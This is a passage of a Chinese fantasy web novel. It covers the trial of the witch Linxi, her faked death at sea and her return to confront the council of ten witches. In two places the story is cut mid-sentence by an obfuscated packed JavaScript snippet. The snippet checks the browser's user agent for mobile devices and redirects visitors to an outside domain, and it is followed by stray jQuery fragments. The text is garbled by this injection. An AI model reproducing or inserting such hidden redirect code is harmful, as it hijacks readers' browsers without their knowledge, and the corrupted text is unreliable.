《恶役女巫会有善终吗》 1. 死罪 “咚——” 紫檀法杖重重敲在地上,执杖老者目光如炬:“巫师灵汐,你残杀雾隐岛风氏一门七名巫师、幽瞳湾三十二名巫师,招引地火致祁达山数百人族生灵涂炭!这桩桩件件,你——可有异议?可——认罪伏法?” “都是我干的。” 灵汐旁若无人地翘着脚,轻轻晃动,腕上镣铐发出轻微的金属摩擦声。 “戕害同族!滥用巫术屠戮凡人!皆为!”巫咸一杖定音—— “死罪!” 灵山上空乌云滚滚遮天蔽日,时不时见几道银蛇闪电穿梭其中。 山间狂风呼啸,漫山植被随风狂舞哗啦作响,翻起一层层绿色涌浪。 天音殿方圆一里内却一片寂静,花草树木纹丝不动宛在画中,一道看不见的屏障隔绝了外围喧嚣。 屏障内是万籁俱寂,无风无雨。 巫者,侍神之人,掌自然灵力。 曾作为神使在人间行沟通人神、传递神谕之责,与人族共生共息数千年。 灵山十巫,巫者之首,对大荒各方巫师有监督审判之权。 . 灵山之上,天音殿内,灯火通明,人头攒动。 十巫列座于殿上高台,每人持一流光溢彩的宝石法器,传说那各色宝石都是娲皇补天遗留的碎片。 十巫之下,各部落大祭司带着长老精英们肃穆而立,造型各异。 或披着绣有展翅啼天的三足金乌的翼状斗篷,或头戴鹿角藤蔓之冠,或胸前缀着青铜月轮…… 那都是各部落的代表图腾。 十巫与众人围成一个完美的圆形,将灵汐围困在大殿中央。 在这令人窒息的威压中心,灵汐用手指拨了拨略显凌乱的红棕头发,又掸了掸白裙上的尘污。 然而,一枝荆棘从身后椅子上伸出,刺了灵汐后背一下。 “嗷!”灵汐回头瞪了一眼这刻薄的椅子。 这椅子表面上看是由枯树枝干虬结盘绕而成,椅背上有两条藤枝向前延伸绞在一起,虚虚环在灵汐身前。 灵汐回头正视十巫:“你们知道为什么我明知是死罪,却还要来灵山认罪吗?” “何等狂妄!明明是被我等发现身份捉拿归案,什么叫你来认罪!”殿下一年轻巫觋愤然道。 “何等狂妄!”灵汐像是听到了什么天大的笑话,嗤笑出声,“若不是我想上灵山,就你们几个小废物,再来八百个也只有送死的份儿。” 话音还没落地,就引来殿下哗然一片—— “实在是太嚣张了!” “这魔头不除,实乃天下大患啊!” …… “诶呀,”殿上十巫之一——巫姑把玩着亮晶晶的手串,出声打断了一片嘈杂,“这倒是实话。据她供述,六年前她便可以召动地火,那至少得是无忧境。你们几个的等阶,还真不是她的对手。” 众巫哑然,巫咸倒是一片泰然照常推进:“那你说说为什么来认罪。” 灵汐道:“我修炼进境愈高,有种感觉便愈强烈……” “该不会是要说自己突然良心发现、忏悔罪过了吧!” 不久前作为证人指认灵汐的风氏家主,也是雾隐岛现任大祭司风意面露嘲讽,怒目切齿道:“杀人偿命天经地义!你残害无辜,我必让你血债血偿!” 风意站起身朝殿上十巫行了一礼:“大人们,切不可听信她的花言巧语!她若说忏悔,必定是为了逃脱罪责当众做戏!” 风意身后的三个年轻巫觋也随之起身行礼,异口同声:“十巫在上,请务必严惩凶犯!” 巫咸抬手示意几人坐下:“请放心,十巫定会公正裁决。” 随后手掌一翻转了个方向,示意灵汐继续说下去。 “我越发领悟到自己与整个巫族命运相连、休戚与共……今日殿上诸位,皆为巫族精英拔萃之材,想必大家都知道那个预言吧!” 灵汐身体前倾,双手搭在身前藤枝上,手上镣铐重量稍有缓解:“神族陨落,巫族气运也随之殆尽,往后便是江河日下,日暮途穷。” “净是些无稽之谈!” “别在这儿危言耸听!” “这和你的罪行有什么关系?” “……” “咚、咚——”巫咸不得不敲了两下法杖,才让众人安静下来。 “我这些年游走大荒各地,见过了太多巫族部落,难以置信现在竟连抚生境巫师都已算极少数拔尖的,联想到这个预言,实在令人惊心……” 灵汐蹙起的眉头、眼中闪动的愁绪,都恰到好处地流露出担忧之色。 然而她抬眼间神色一转:“不过,见的多了,我就知道我族为何日渐衰落了——你们,全都,不、会、修、炼!各个缘木求鱼,自然徒劳无功!” 如冷水入热油,众人噼里啪啦爆发一片气急败坏之声,巫咸不得不连敲三下法杖才压下聒噪。 “不过,我有办法,”灵汐一脸真诚,“你们都知道我的身世了,我是个孤儿,自小被无尽夏岛的巫师司月抚养长大。我师尊司月早已步入无忧境多年,我在六年前也进入无忧境。这不是什么天赋异禀,都是我师尊教导有方!” 灵汐扫视了一圈安静下来的众人继续道:“据说我还曾有师祖是天示境巫师呢!本门之所以能出这么多高阶巫师,应该多亏了代代相传的修习秘法……” 一抹善意满满的笑容绽开在灵汐脸上,“我愿意将师门的独门秘法分享给大家,只希望我族能扭转颓势,蒸蒸日上,重回鼎盛之日。” 众人你看我、我看你地安静下来,虽说心思各异,但无人不对通往高阶的修炼秘法心向往之。 巫师等级通常分为八阶——识灵、闻术、听卜、噬骨、抚生、意动、无忧、天示。 等阶越高,与前一境界的力量差距越大。 神族陨落后,巫族逐渐衰落,现如今高阶巫师凤毛麟角,就连现任十巫中也仅有两位无忧境。 如果真有能提升境界的修炼秘法,没有哪个巫师会不动心。 诡异的沉默被一尖锐女声打破:“不要相信她!什么狗屁秘法!她是在蛊惑大家,妄想博得一线生机!此人罄竹难书,断不可留!绝不可信啊!” 一身着绯衣、眉心纹有红色水波纹的巫师冲出人群高声呐喊、目眦欲裂。 正是幽瞳湾巫师的幸存者缇娅,那红色额纹是幽瞳湾巫师特有的族群图腾。 和雾隐岛大祭司风意一样,缇娅也是作为证人来灵山指证凶手的。 灵汐垂目,眼中滑过一瞬狡黠的精光,但被落下的上睑掩饰得很好,并无人察觉。 “没错,这魔头诡计多端!数年前她还是个小小少年,就曾用假死之术骗过我族,诸位莫要上了她的当!”风意紧随其后怒斥道。 “正如风意大祭司所说,”灵汐锐利的目光直射风意,“我多年前就已金蝉脱壳改名换姓,我的死讯应该早就报给雾隐岛和灵山了吧,世上再无人知晓我还活着……” 风意眼皮一跳心道不好,但灵汐没给她插嘴的机会:“如果我不是真心为了巫族分享修炼之法,我为什么要来灵山自爆身份,将自己推向死罪呢?我为什么不继续隐姓埋名过我的逍遥日子呢?” “休要再妖言惑众!”像一头暴怒的狮子冲向入侵领地的死敌,缇娅抓住灵汐的衣领,一把将她从树椅中拔起。 树椅以为受审者要离开,霎时爆出无数枝条将灵汐牢牢缚回椅中。 缇娅不得不俯身低头,死死瞪着灵汐:“你害死我半数族人,我族大祭司、长老、高阶巫师全部死于你手,我不会放过你的!今天不是你死就是我亡!” 人群中有三两巫师赶上前来,边说着“十巫在上,不得无礼”边将情绪激动的缇娅拉回殿下。 缇娅频频回首,对着灵汐张牙舞爪咒骂不断,殿上众人也纷纷躁动起来。 “既然你要分享秘法,那就先把秘法交出来,待我们验证后再决定你能否将功补过!” 灵汐听了颇觉可笑:“你们以为修炼是一朝一夕的事吗?想验证秘法,那等三年五载后再开下半场审议会吧!” 眼看着众人即将为如何处置灵汐吵起来,巫咸不得不挥杖下令先将灵汐送回水牢。 随着一阵低沉的轰轰声响,灵汐所在的六尺圆台缓缓沉降到地板之下。 八瓣扇形厚石板在灵汐头顶围拢,隔绝了大殿上的唇枪舌战,唯一的凶犯倒是落了个清净。 圆台继续下沉,一直降到地下一池三丈见方的水潭中央。 四周池水泛着荧荧蓝光,那是一种带有奇毒的藻类,只需皮肤接触便能要人性命。 灵汐身后的树椅逐渐变形,向上生长丈余,无数枝条缠绕编织出同圆台大小相同的圆顶,又从四面八方向下垂落,牢牢扒在圆台边缘,形成一圈牢笼,将她困于其中。 . 不知过了多久,水牢外廊上一道规律的“咚咚”声由远及近,随即传来隐约人声: “真不用我扶着您啊?” “我老太婆倒也没老到那份儿上!” “那我单纯来看热闹不合适吧?” “你是来做见证的……” 一阵窸窸窣窣之后,两道脚步伴着玎当声响来到灵汐跟前。 灵汐睁开眼睛,只见不知从哪儿冒出来一座两人宽的藤蔓小桥飞过水面,巫咸和巫姑两人已顺着小桥来到树笼前。 巫咸离开了高高在上的十巫首座,看起来竟慈眉善目了许多。 虽然脸上皱纹已颇显老态,但腰杆直挺步履坚实,精神矍铄得很。 满头银丝齐整地向后梳成发髻,一身靛蓝长袍半新不旧,全身首饰仅有头上一根朴素木簪,唯有手中一把镶嵌水色明珠的紫檀法杖昭示着她绝不是寻常媪妪的身份。 巫姑则是青年女子的模样,胸前挂着一剔透紫水玉的星轨吊坠,一身紫衣,步履轻盈。 她从头到脚挂满了珠串银饰小铃铛,走起路来叮叮当当的,十分热闹,笑吟吟的表情自审议会开始就从未变过。 “巫咸大人、巫姑大人,看来大家已经商量好如何处置我了。” 巫咸缓缓开口:“灵汐,你杀孽深重,本是死路一条,但念在你有心倾囊相助、于我族大有裨益,十巫决定对你网开一面。不过死罪可免,活罪难逃。十巫决议判处你终生监禁,往后余生再无自由。希望你静思己过,将功赎罪。” 巫咸顿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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风意盯着眼前年纪轻得可以当自己女儿的巫师,她的灵魂已被仇恨吞噬,单薄得似乎一眼便能洞穿,不多时风意便牵动了嘴角。 “自从我族遭难,我已追踪她多年。我还真有一条有用的消息——她,非常怕水。据说是幼时被父母抛弃在海上,险些淹死……”缇娅提议道。 风意蹙起眉来:“消息可靠吗?” 一旁端茶倒水的巫觋终于有机会开口:“大祭司,我以前和那灵汐一同上学,那时候她确实从不参与任何下水的活动!” 另两个小辈也附和道:“对啊,咱们那儿可是海岛,很多水上活动,但她好像次次都告假!” “是啊是啊,我也记得!” 缇娅见状顺势接道:“不想承担违逆十巫的罪名,最好让她死于意外。押送全程她都会被锁住巫力,和凡人无异,这时候要是不幸遇上海难沉船……” “她死了,十巫无论如何都会找我问责。但是海上意外……也算是最好推责的由头了……”风意盯着桌上火烛,眉头逐渐展开。 缇娅则继续煽风点火:“你带着这些个小辈,得护着他们,无暇救仇人很正常吧!” 烛火摇曳中,风意的目光逐渐坚定:“无论如何我都有监管不力之责,但只要能让她死,受点罚又如何?” . 次日,灵汐跟着雾隐岛一行人离开灵山,沿黑水而下第二天就入了海。 海上全程有巫师施术召风,顺风而行,大概半月便能到达雾隐岛。 七日后,船只行至茫茫大海中央。 灵汐被安排在尾舱,舱内满是画地为牢的结界,使其不得离开这一方舱室。 双手也被封灵锁锁住,无法施展任何巫术。 灵汐这几天却睡得出奇的好,在海上摇摇晃晃的船只仿若摇篮,让人不知不觉就生出困意。 但灵汐知道自己不会到达雾隐岛了,有人选了这波澜壮阔的海洋作为她的坟墓。 因为她在船上见到了缇娅,那个幽瞳湾部落的幸存者,本不该出现在雾隐岛的回程船只上。 夜色正浓,原本急速航行的船只突然失去动力,开始顺着洋流随意飘摇。 灵汐坐在船舱中静静听着海浪拍打船壳的声音,呼吸间能感到水汽洇湿双肺的清凉。 少顷,灵汐突觉胸口微微发烫,抬手便从胸口处掏出一个两寸长的细长条。 那是由染白的纱衣草叶片折成的小包裹。 纱衣草生有宽大柔软的掌型叶片,可以折叠成各种形状而不致破损。因此常常被巫师用来装东西。 灵汐手中这个,明显被施了缩小咒,才变得如此小巧隐蔽。 那细长的一小条在灵汐手中以肉眼可见的速度长到一掌有余。 灵汐将其打开,里面是一只做工精致的人形木偶,衣裙发色与灵汐相近,一条扁扁的干燥虫体,三张画着血红阵法的天蚕丝帛,还有三根细细长长又形态各异的铁制工具。 灵汐上灵山请罪被收押时,就已被灵山巫师搜遍全身、没收所有携带物了,这当然不是她自己藏下的。 这个小小的纱衣草包裹,是缇娅在审议会上揪她衣领时,偷偷放进去的。 2. 死遁了 海上航行数日,方圆数千里再无陆地。 恰逢今晚阴云蔽月,海上雾气弥漫,着实是个杀人放火的好时机。 船上本就有两叶小舟,风意指挥三个小辈就地取材拆了几块木板,又做了三个简易木筏。 趁几人注意力不在自己,缇娅面向大海,默念咒语,解除了自己施在纱衣草包裹上的缩小咒。 . 灵汐打开包裹,从中拿出一根细长的金属小钩,插入左腕铐环的锁眼中,来回点戳几下,铐环便开锁脱落。 同样的手法让双手摆脱封灵锁后,巫力一瞬恢复! 灵汐双手抚住舱壁,进入冥想状态,仔细感知周围灵气。 不多时便感应到周围海水有五处波动,是那五人下船了,随后他们分别朝不同方向驶离大船。 灵汐默念一串咒语,在船只周围设下静息结界,让外人无法感知结界内的灵气流动。 拿出木偶解除缩小咒,木偶逐渐变至与灵汐体型相近。 不过灵汐没空分给它一刻眼神,带上其余物品,破坏掉画地为牢阵和舱门封印,灵汐来到中间隔舱。 出门时还不忘带上舱门重新施加封印,将木偶锁在尾舱。 灵汐一扫隔舱布置,目光锁定一只半人高的木桶。 施术将桶中淡水排出,整个人缩成一团钻进木桶盖上盖子,又为其施加封印和护盾咒,灵汐便调息凝神准备念诵这场大戏的压轴咒语——离魂之术。 . 风意一行五人分五个方向驶离大船近三十丈,先后到达指定阵型点位。 风意抬手念咒,海平面下酝酿出不祥的旋涡。 手指一挑,一道水龙卷冲天而起,似咆哮巨龙撞向船只。 大船在巨浪面前仿佛一片脆弱的枯叶,瞬间被巨兽利爪撕裂,船身从中间一分为二,数丈高的海浪将枯叶吞噬,再吐出来时只剩下断骨残骸。 . 离魂咒还没念一句,灵汐耳边便接连炸响砰砰之声! 继而天旋地转,翻飞起伏,七上八下,飘来荡去,五脏六腑都要被摇匀,不用离魂咒都要把魂甩出去了! 灵汐用力抵住木桶内壁,直到海面逐渐稳定,木桶开始节奏规律地飘摇,才重新凝神念诵离魂咒—— “吾血吾身,容寄吾魂,以血为渡,汝身即吾身!” 片刻后,灵汐大脑一轻,意识便陷入一片黑暗。 她能感到自己漂浮至半空,在无尽黑暗中,看到不远处闪着红色微光的锚点。 向着微弱但清晰的红光游去,灵汐刚一伸手触碰红光,便瞬间被吸了进去。 灵汐身子一重,便落到了尾舱里的木偶身上。 木偶内部是血红的幽灵丝仿照人体血络分布组成的丝状网络。 幽灵丝本是一种白色菌丝,靠寄生于其他生物汲取养分,这血红的幽灵丝则是灵汐用自身血液喂养出来的。 用自己的鲜血做锚点,能让离体之魂迅速准确地找到寄体。 魂体与木偶逐渐相融,灵汐意识回归,努力了两三次,终于成功抬起一只手。 虽然动作还略显僵硬,但关节还是好用的。 于是她努力翻过身,面朝下趴在尾舱一角,假装被晃晕了。 . 船只断成两半,风意便开始召动周围灵气绘画囚灵阵。 其余几人也纷纷出手协助,咒语之声钻进海上迷雾,五人声音汇合,在船只上空描出错综复杂的阵法纹路。 没用多久,大阵成型。 五人齐声念诵咒语启动阵法,阵纹发出耀眼辉光,立即锁定了阵下唯一的生灵——被灵汐生魂附体的幽灵丝木偶! 锁定生灵,阵眼机变。 大阵降下,以排山倒海之势生生要将这唯一生灵压入海底。 灵汐所处的一方尾舱并未破碎,也被顺势压入海面之下。 海上五人全都凝神念咒,誓要将她永沉海底不见天日。 大阵下降速度只增不减,灵汐被千钧灵力压入深海之中…… 木制尾舱在深海高压中逐渐破碎,囚灵阵不锁死物,碎木逐渐上浮。 唯有木偶身躯不断沉向漆黑海底。 木偶身上的一层浅浅保护咒很快在海水冲刷下散去,海水灌入木偶内部。 幽灵丝中的血水逸散开来,血腥味很快被海水稀释,生魂再无锚点可依——灵“肉”分离,生者已逝。 阵眼判定阵中再无生灵,布阵者才齐齐收手,大阵消散在海底深处。 大功已成尘埃落定,有仇的报了仇,有怨的出了气。 于是曲终人散,缇娅与雾隐岛一行人分道扬镳,各自离去。 . 灵汐轻飘飘地上浮,上浮,很久之后才感知到黑暗中的另一处锚点。 回到自己的身体,一个激灵将□□和灵魂双双重启。 灵汐不知道自己具体离开了多久,但蜷在桶中的身体已经又冷又僵。 恢复了好一会才爬出木桶,整个人脱力地仰躺在海中,只留头脸露出水面。 六月的南海,即便夜半也并不寒凉。 灵汐甚至觉得十分舒坦,仿佛被母亲轻轻拢在怀中,浪声是安抚灵魂的摇篮曲。 不过,虽然全身上下无比放松,但还是有无法抗拒的疲惫感席卷大脑,不知是不是离魂术的影响。 约莫两刻过去,阴云散去,冷白月光洒在海面上,驱逐了伸手不见五指的黑雾。 灵汐捂着左眼,一只右眼与那白玉似的月亮对视。 天上月是这场金蝉脱壳之计的唯一见证者,不过无需顾虑,她不会背叛自己。 风意对自己杀心不改,决不能留她活着了,否则就是给自己日后埋下祸患。 还有她身边那三个巫觋,全都要斩草除根才行。 当初自己就是不懂得斩草要除根的道理,才让风意夫妻有机会像狗皮膏药般,死死缠着自己不放。 不过灵汐向来知道吃一堑长一智,从此再也不犯这种低级错误了。 . 三天后,拂晓时分,灵山以东二十里,浮云山。 在杀风意之前,还有一件要紧事。 灵汐去灵山自爆身份以身犯险,这一整出大戏的根本目的,其实都只是为了那件事——引出她失联多年的师尊,司月。 司月十一年前离开无尽夏岛前往大陆,自此失联。 灵汐在大荒辗转寻人九年,一无所获。 无计可施之下,灵汐才想到了灵山。 灵山建木可施万象同声之术,不论天涯海角,只要灵气能够到达的地方,只要是能够感应灵气的巫师,都能收到灵山发出的讯息。 十巫判她终生监禁时,便向散落在大荒各地的巫师发出通告,将她的罪行昭告全族,让全族引以为戒,莫要重蹈覆辙。 若是司月听到她唯一的宝贝徒儿惹出这么大祸端,无论如何一定会现身的。 灵汐在赌她一定会现身。 只要她还活着。 灵汐起手施术,山间平地起风,风流掠过无数芳草曼花,未作一息停留,直飞向灵山四周。 不到两刻,一层黑云在群青色天幕上漫延开来,成千上万只乌鸦被灵力流引着向灵汐倾轧而来。 不多时,以灵汐为中心,目之所及的所有树木、草地、山石,全都密密麻麻地站满了乌鸦。 “从我上灵山起,所有出入灵山的人都告诉我。” 一只乌鸦跳上手腕,灵汐与之对视,右眼瞳孔有红光一闪而过,她便看到了乌鸦记忆中的人像。 一只,两只,三只……两百七十二只。 没有她。 鸦群分守灵山各个方向,只有这些鸦见到过有人进山,灵汐一一检查过,没有一只见到司月。 灵汐跪坐在草地上,拿出匕首划过右掌,鲜血涌出,浸入大地。 她以手触地,默念咒语,大地灵力携着巫血在土壤中流向不同方向。 这片山坡上长着许多栎树,但季夏时节果实还未成熟。 随着混有巫血的灵气被树根吸收,时间仿佛被快进,几息之间树上密密麻麻的橡果由青转棕,外壳炸裂的“噼啪”声响连成一片。 呼啦啦的振 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灵汐伸手挡住烈日,缓缓睁开眼睛。 心里还在哄着自己该起来干活了,却在指缝间瞧见高空中飞过三四只大鸢,往灵山方向去了。 那是巫师们最喜欢的坐骑之一,但一般只有部落首领和长老们才会有。 怎么又有巫师往灵山去?他们不是刚刚审判完自己散会了吗? 灵汐滚到树荫下坐起身,凝神内窥解开神魂上的一缕封印——为免被十巫发现,上灵山前灵汐事先将一魂契藏了起来——呼唤契约另一方:“渡沙,渡沙,听得到吗?” 一道低哑女音立即回应:“主人,你终于回来了!你那边还顺利吗?” “嗯,还行吧,你那边呢?缇娅在呢?” “我奉命在约好的地方等她,她两天前到了这里,没多久就收到一条同心竹传信,随后就离开了。但我没有跟着她……” 同心竹,也常被称为通信竹。 是由巫师在竹片上施术,交由他人后,哪怕相隔千里,只要一人在竹简落墨,另一方便能在自己的竹简上看到对方所写内容。 若是将同根所生的同心竹养得好,养出了精灵,同根所生的竹精之间甚至可以传递语音。 “没事,我应该知道她去哪儿了。你继续守在那儿,我之后再联系你。” 灵汐随手摘下一片草叶抵在唇边,轻轻一吹,发出一段尖锐哨音,唤来附近的两只乌鸦。 将一滴血喂给其中一只,施咒道:“万物有灵,生生共息,以血为契,暂借汝识!” 灵汐闭上眼睛,看到了自己的脸。 两只乌鸦扑啦啦起飞,灵汐便看到自己和树木一点点变小,绵延千里的山林在脚下流淌起来,呼呼风声在耳边滑过,又被远远甩在身后。 一刻钟后,两只乌鸦停在了灵山天音殿前的一枝树梢上。 殿前广场已经聚集了很多巫师,个个都很眼熟,都是审议会上见过的各部落首领长老,以及在灵山修习的年轻巫师们。 缇娅一个人沉着脸站在一根白玉立柱下,没有加入周围任何一个闲聊小组。 灵汐也很好奇这次集会又是为了什么事,于是指挥乌鸦飞到了广场柱子上。 “我也是啊,刚到家就收到信了!” “大人特意提了要雾隐岛押送队伍的人全部返回,是不是又和那人有关?” “她不是都判完了吗?还能有什么事?” “需要灵山集会的肯定不是小事……” …… 正凝神听着,灵汐突觉不适。 扭头一看,依旧一身紫衣、周身挂满珠串首饰小铃铛的巫姑不知何时来到了乌鸦站着的柱子对面,一动不动地看着乌鸦。 没有任何动作,没有任何叮叮当当的声响,连眼睛都一眨不眨,极其认真、极其专注地看着乌鸦。 灵汐头皮发麻,她有一种感觉,巫姑不只是在看乌鸦,而是在看自己。 3. 暴露了 看着雕像般的巫姑,灵汐不禁一阵恶寒。 忙叫两只乌鸦作出一番嬉戏玩闹的样子,一边哇啊哇啊的对话,一边互相梳起羽毛来。 余光悄悄留意着巫姑,只见她又安安静静站了许久才转身离去,走进了天音殿。 . 不多时,风意带着三个年轻巫觋也到了,所有巫师都进了天音殿开会。 乌鸦又飞到殿门一侧,看不到殿内人,却能听到殿内声音。 “今日召集诸位前来,皆因雾隐岛巫师押送灵汐一事,十巫在占卜之术中,看到了巫师灵汐已经死亡。风意祭司,你说说怎么回事吧。”巫咸威严的声音传来。 满殿惊呼过后,传来“扑通”一声,随即是风意的声音响起:“十巫在上,风意不敢隐瞒! “风意携雾隐岛弟子押送罪人灵汐回岛监禁,谁知半路突遇海上风暴! “风暴来势迅猛不可挡,我带的这几个孩子等阶低微,无力自保,我只能先护住他们离开风暴区域。 “等风暴停歇,我再回去时,船只已经,已经覆没在海上了……那罪人灵汐也…… “我带弟子们仔细搜寻,只找到一副封灵锁,想必那灵汐已葬身海上、身魂俱消了! “此事确是风意失职,请十巫责罚!” 巫族与人族不同,人族死后灵魂离体前往冥界,□□却还能保留一段时间,作为生者盛放哀思的容器。 但巫族不同,可能是生前使用世间灵气的代价吧,巫师死亡时,□□和灵魂都会化为灵气消散在天地间,无踪可寻。 然而,灵汐更在意的是十巫竟能占卜到自己死亡?自己明明没有任何可行占卜的信物在十巫手上,难道是十巫有什么特殊的无需信物的占卜之法? 那这占卜之法看来也不太准,她们知道自己死亡,却不知道自己是假死。 殿内乌乌泱泱地吵闹起来。 “什么?灵汐死了?” “好端端地怎么就突然死了?这有蹊跷吧!” “我就说应该早点让她把那劳什子秘法先写出来吧!” …… 灵汐津津有味地听着既遥远又近在咫尺的热闹,正遗憾没给自己留点坚果时,突觉护体结界被人敲了敲。 当即切断与乌鸦的共享感官,灵汐睁眼瞧去,只见结界外站了一只器宇轩昂的金喙银斑鹰。 自己盘腿坐在地上,那只鹰足有自己的肩膀高。 一看就不是吃素的! 更可怕的是,这鹰嘴中竟吐出一道熟悉的女声:“在这儿看多不尽兴啊,不如来灵山看吧!” 是巫姑的声音。 灵汐凑近一看,原是这鹰的弯钩金喙中叼了一节通信竹,上面的竹精在替巫姑传话。 啊,竟然被发现了! “你怎么知道我在这儿?”灵汐想不通,有什么巫术竟能让她仅凭共享感官的乌鸦就发现自己的真身。 “来灵山问吧,刚好大家都在讨论你呢。” . 一刻后,灵山天音殿殿前广场。 殿上众巫有人在指责风意失职,有人在惋惜没能留下秘法,有人在感叹天道好轮回、善恶终有报、魔头之死乃天意为之…… 风意坚持说这是场意外,她自知失职,甘愿受罚。 巫姑两指夹着一串彩珠串子,摇晃着将珠串缠在手上,又反方向摇晃着解开、再缠上,反反复复。 “咚——”闭目养神的巫咸突然睁眼看向殿门外,一杖止住所有声音,“此事真相如何,也来听听另一位当事人怎么说吧。” 众巫齐齐向殿门外望去,十分疑惑什么叫“另一位当事人”。 灵汐坐在殿前广场的白玉柱顶上大声喊道:“不如你们出来听吧,殿内阵法太多,我不喜欢!” . 殿内众人接踵而出,只见会议上刚刚还在讨论的话题人物——命丧海上的灵汐,此刻正容光焕发地挥手打招呼:“又见面了,大家别来无恙啊!” “啊——鬼啊!有鬼啊!” 众人目瞪口呆之际,雾隐岛的三个巫觋最先做出不同反应,屁滚尿流地扑到风意身后。 风意同样大惊失色,奋力拨开人群冲到最外围,眼珠子都要瞪出来了:“不可能,这不可能!绝不可能!” 缇娅面色惊惧,双手紧紧抓着台阶扶手才不至于瘫软在地。 ——演技不错,灵汐内心评价道。 “这不是……那谁吗?不是说死了吗?” “她没死吗?怎么回事?” “雾隐岛的人不是说事后搜查过,确定身魂俱消了吗?” “到底死没死啊?” “人都在这儿了,你说死没死啊!” …… 风意见到被自己亲手葬在海底的人又出现在眼前,不由得阵脚大乱:“不可能!你明明已经死了!我亲自……我亲眼所见!” 灵汐露出一个阴恻恻的笑:“我也记得我死了,好像……是死于海难吧?不过幸好,我会起死回生哦~” “一派胡言!”风意指着灵汐的手指哆嗦得不成样子,“没有这种事!没有这种事!这其中,必有蹊跷!” 灵汐乘风落地,凑到风意面前,笑得鬼气森森:“蹊跷?这场海难蹊跷在哪儿,你最清楚了!” 风意脸上肌肉重重一抽,再多的声音都堵在了喉头。 灵汐似游鱼般灵巧错身,走向广场中央。 众人已自动站到广场两侧,十巫站在殿前台阶之上俯视着灵汐。 灵汐却毫无惧意地直视十巫:“我先问你们,你们真的用万象同声之术将我的罪状昭告天下了吗?” 巫咸一片泰然:“是,如何?” 灵汐眉心拧成一团,眼神飘过众巫时,缇娅轻轻点了点头。 巫咸继续发问:“押送路上到底发生了什么?为何风意大祭司说你已殒命,而你又好端端站在这里?” “我也很好奇,我分明看到你沉入深海了,为什么你还活着?我从不会看错的……”巫姑的轻灵嗓音响起,没了一贯的笑意。 “看到?你是怎么看到的?”灵汐并未回答,反问巫姑,“刚才也是,一般巫师顶多只察觉到在共享感官的动物不对劲,但你是怎么找到我真身所在的?我也很好奇啊!” . 巫姑嘴角噙着淡淡笑意,又像是入定般静静盯着灵汐,那双幽深的眼瞳仿佛能透过□□洞穿灵魂。 灵汐心念电转间有了个大胆的猜测:“你是预卜巫师?” 虽然巫师们从小都被长者们教导各类巫术、力求均衡发展,但有些巫师就是会在某一类巫术上尤其擅长,那就是巫师的特殊天赋。 有特殊天赋的巫师往往会专精一类巫术远超其他术法,也就是人们常说的偏科人才,佼佼者甚至能在天赋上登峰造极。 不过,擅控火控水、擅草木、擅兽语的巫师灵汐都见过,擅预卜的倒是第一次见。 这倒不怪灵汐见识少,预卜巫师的确稀少。 传说中倒是有过几个预卜天赋突出的巫师,不过全都英年早逝。 “就算有预卜天赋,但能不借任何外物工具,光凭一双眼睛就能看到这么多,”灵汐脸上的兴奋毫不掩饰,“十巫中的两个无忧境,其中一个就是你!” 另一个是巫咸,众所周知。 但十巫中的第二个无忧境,从未向外公布过。 不过,看巫姑的反应,她似乎只能看到一些碎片画面,并不能看到全部,所以并不知道自己是如何活下来的。 众巫脑袋转得像拨浪鼓,看看灵汐又看看巫姑,窃窃私语之声渐起。 十巫中一位身材高大健硕的女巫——巫真迅即站出,从腰上取下一条锁链抛出,怒声喝到:“莫要妄加揣测!你戴罪之身,速速伏诛!” 灵汐挡住朝自己游来的锁链,竟面露疑惑:“我吗?我有什么罪?” “你残杀无辜,血债累累,怎么,前几天刚认的罪,你现在装傻可没用!”风意在一旁气势汹汹道。 “残杀无辜?你不会是在说你儿子吧?”灵汐裂开嘴角露出一排白牙,冰冷眼中却并无笑意,“我杀的人里可能确实有无辜,但你儿子,绝对是罪有应得!” 风意二话不说,正欲打出一个攻击咒,却瞬间被灵汐隔空提到半空,“咻”一声被按在广场立柱上动弹不得、言语不能。 众人立即将灵汐团团围住,起势施术,却发现自己竟调动不了一丁点灵气! 无论如何用力、无论如何念咒,都没有一丝灵气听令而来! 而灵汐脚下罡风瞬起,眨眼间四散开来,牢牢锁住周围所有人! 她竟然霸占了灵山所有灵气! 一手与巫真拉扯锁链,一手制住风意,顺便锁住数十位巫族精英,灵汐依然气定神闲:“再说了,我之前是认罪了不错,但是,我不是已经死过一次了吗?风意大祭司亲自作证我已身亡,那就应该诸罪尽消了啊!我死而复生是我的本事,为什么还要再伏一次罪?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305745|182826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 十巫发现自己无法从灵汐手下抢过一丝灵气时,也顿感大事不妙。 巫咸抬手催动法杖,厉声道:“休要狡辩!给我拿下!” 十巫纷纷祭出自己的法器——法器上的宝石自身便储存了磅礴灵气,十件法器与广场上十根白玉柱相呼应,广场上霎时爆出数层阵法纹路! 阵纹辉光过后,刚刚灵汐站着的地方竟已空无一人! 就连十巫也面露惊诧,满腹疑云时,灵汐的声音从虚空飘来:“省省力气吧,我只说六年前我是无忧境,可没说现在还是无忧境!” 众人大骇,不是无忧境,还能是什么?无忧境之上……难道是天示境?这怎么可能! 神族统治大荒时期,巫族作为神使风光一时,无忧天示境巫师人才辈出。 五千年前众神陨落以来,天示境巫师寥寥无几,能达无忧境已是天赋异禀且气运极佳之人。 而巫族式微的预言之所以甚嚣尘上,是因为近两千年来,已再无天示境巫师现世! 这杀人如麻的女魔头,怎可能是两千年来唯一的天示境! 